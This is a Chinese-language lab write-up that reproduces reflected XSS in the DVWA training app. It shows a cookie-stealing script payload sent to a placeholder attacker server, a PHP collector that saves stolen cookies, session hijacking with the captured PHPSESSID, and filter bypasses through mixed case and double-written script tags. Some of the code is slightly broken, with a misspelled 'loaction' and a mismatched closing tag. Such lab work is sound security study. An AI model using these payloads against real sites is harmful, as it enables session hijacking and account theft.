XSS漏洞复现
实验环境DVWA
XSS(cross site script) 跨站脚本。属于代码执行的一种,这里执行的是前端代码,一般是javascript代码。对于反射型的XSS,攻击代码是在Http的响应包中。攻击者通过构造含有攻击代码的URL,被攻击者点击后,攻击代码在客户端解释执行。可以通过此恶意代码向攻击者的服务器发送被攻击者的敏感信息,从而实现攻击目的。
下面测试一下,攻击者盗用cookie的实例。
- 登录DVWA,将安全等级改为low,选择反射型XSS测试。
输入123发现会在下方回显输入的内容。
- 尝试输入
<xss>
后发现页面没有回显内容,打开开发者选项查看一下源代码
发现输入的内容被当做了html的标签来对待了。
- 尝试输入一下代码
<script>document.location='http://www.baidu.com'</script>
发现这段代码被执行了。跳转到了百度的界面。可以判定存在客户端代码执行。 - 这里在虚拟机上开启一个web服务,写一个cook.php代码。
<?php
//用来获得用户的cookie信息
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
-
构造攻击url :
<script>document.loaction='http://攻击者服务器ip地址/cookie.php?cookie='+document.cookie</script>
-
模拟被攻击者去访问一下:localhost:8081/dvwa/vulnerabilities/xss_r/?name=
<script>document.loaction='http://攻击者服务器ip地址/cookie.php?cookie='+document.cookie</script>
注意:name参数需要进行url编码,因为其中含有特殊字符,无法直接传递到后端。这里用hackbar进行编码。
- 查看攻击端的服务器,发现已经得到了用户的cookie
8. 尝试用用户的cookie登录一下:(修改PHPSESSID和security)
- 直接访问index.php,发现登录成功了。
Medium等级
经过测试Medium等级是存在双写绕过和大小写绕过script标签的。
输入:
<ScrIPt>alert(xss)</srcipt>
<scr<script>ipt>alert(xss)</script>
都可以实现绕过